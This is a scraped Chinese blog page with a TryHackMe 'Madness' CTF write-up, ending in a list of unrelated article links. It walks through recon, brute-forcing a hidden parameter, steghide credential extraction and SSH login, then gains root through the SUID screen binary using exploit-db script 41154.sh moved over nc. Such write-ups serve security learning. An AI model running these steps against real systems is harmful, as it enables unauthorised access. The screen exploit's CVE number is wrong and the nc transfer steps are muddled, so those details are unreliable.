当前位置: 首页 > news >正文

Madness - TryHackMe

Madness - TryHackMe

一、信息收集

使用nmap对网站ip端口开放进行探测

nmap -sS -sV -A  -Pn 10.10.35.188

image-20250914175602747

这里开放了一个22端口和80端口访问一下

image-20250914175718992

是个配置目录 使用dirsearch看看还有没有其他隐藏页面

dirsearch -u http://10.10.35.188/ -e php,html,txt -t 100 

image-20250914180655393

这里有个登录页面登录显示NotFound

image-20250914180801809

二、渗透利用

无法了先看看首页的源码吧 右键查看源代码

image-20250914181035617

这里有个图片 thm.jpg 访问一下显示图片已经损坏了,我们把他下载下来仔细研究一下

image-20250914181234630

这里就很奇怪,这个文件是jpg结尾但是文件二进制格式确实png

image-20250914181727674

我们把开头改回来

image-20250914182055388

改后

image-20250914182423188

修改完后使用xdg-open 查看告诉我们下面有个隐藏的目录访问看看

image-20250914182503195

hidden directory/th1s_1s_h1dd3n

image-20250914182753448

这里说要输入他的秘密,先右键查看源代码这里给了我们一段提示说是介于0~99之间

image-20250914182858515

在url后面添加上/?secret=1 即可输入秘密

image-20250914183128570

这里先用yakit抓个包爆破一下吧

image-20250914183602763

在第73个这里成功输入他的秘密

y2RPJ4QaPF!B

三、隐写术

我们使用steghide extract -sf thm.jpg 输入我们得到的得到的密码成功提取出一段隐藏的文本

image-20250914184037843

这里使用这个账户和上面那个密码还是无法登录,可能还另藏玄机,我们注意到我们房间首页上面还有一张图片,新建链接,将他下载下来

image-20250914192033694

我这里继续使用steghide提取然后没输入密码就出来了 啊?我还验证了一下, 不管了文件下面出现了我们想要的密码登录看一下

 steghide extract -sf '5iW7kC8 - Imgur.jpg'  *axA&GF8dP

image-20250914193440486

这里尝试登录ssh怎么死活都登不上去看了一下wp前面那个用户名是用了ROT13编码后的 真正的用户名是joker 这回真成joker了

image-20250914194147326

换了一个用户名也是成功登录了

image-20250914194340789

四、提权

这里我看了 sudo --l 无法使用 计划任务也没有 只能从suid文件入手了

find / -perm -4000 -type f 2>/dev/null

image-20250914200827848

screen 存在历史漏洞(CVE-2019-12735)允许本地用户利用 SUID screen 提权到 root

image-20250914200912614

cp /usr/share/exploitdb/exploits/linux/local/41154.sh ~/screen_exp.sh                          ✔ 
chmod +x ~/tryhackme/screen_exp.sh

再使用nc将这个文件反弹回靶机

nc 靶机ip 4444 < screen_exp.sh
nc -lvnp 4444 > exp.sh

本地就会生成一个exp.sh的文件然后运行他

./exp.sh

接着本地会生成一个rootshell的文件然后在使用这个文件

rootshell

image-20250914204601674

http://www.rkmt.cn/news/4692.html

相关文章:

  • 机器人逆运动学进阶:李代数、矩阵指数与旋转流形计算
  • CSP2025 游记
  • Luogu P14031 【MX-X20-T5】「FAOI-R7」连接时光 II
  • 完整教程:JMeter基本介绍
  • []
  • Source Insight 4.0安装和使用教程
  • ORA-00800
  • 第一周个人作业——我
  • Acrobat Pro DC 2025破解版安装下载教程,附永久免费免中文破解版(稳定版安装包)
  • 华擎、微星、华硕BIOS阵脚线序及杜邦现自制刷机线
  • AT_abc422_f [ABC422F] Eat and Ride 题解
  • 模拟赛 R14
  • Java并发编程(2)
  • 深入解析:精确位置定位,AR交互助力高效作业流程​
  • windows与linux环境下网络编程
  • 在飞牛系统中通过docker形式部署Nginx proxy manager
  • “四人过河”经典问题
  • 完整教程:C#语言入门详解(18)传值、输出、引用、数组、具名、可选参数、扩展方法
  • DevOps On Kubernetes
  • Dify实战训练营(基础班)(全免费值得收藏)
  • PostgreSQL 上的向量搜索实践
  • (读书笔记)平衡掌控者
  • 带头结点的单链表删除指定位置结点
  • 《文字、语言与数字的奇妙联结》读后感,大公司内部编码规范,本学期编码遵守规范
  • [HTTP/Spring] RestTemplate : Spring的HTTP网络请求框架
  • 博客园-我的博客-的皮肤更换
  • script setup 在 Vue 3 中的核心作用及具体实现方式
  • 容器化改造基本原理
  • Java 字节码与 ASM 框架实战解析
  • 计算机大数据毕业设计选题:基于Spark+hadoop的全球香水市场趋势分析系统 - 详解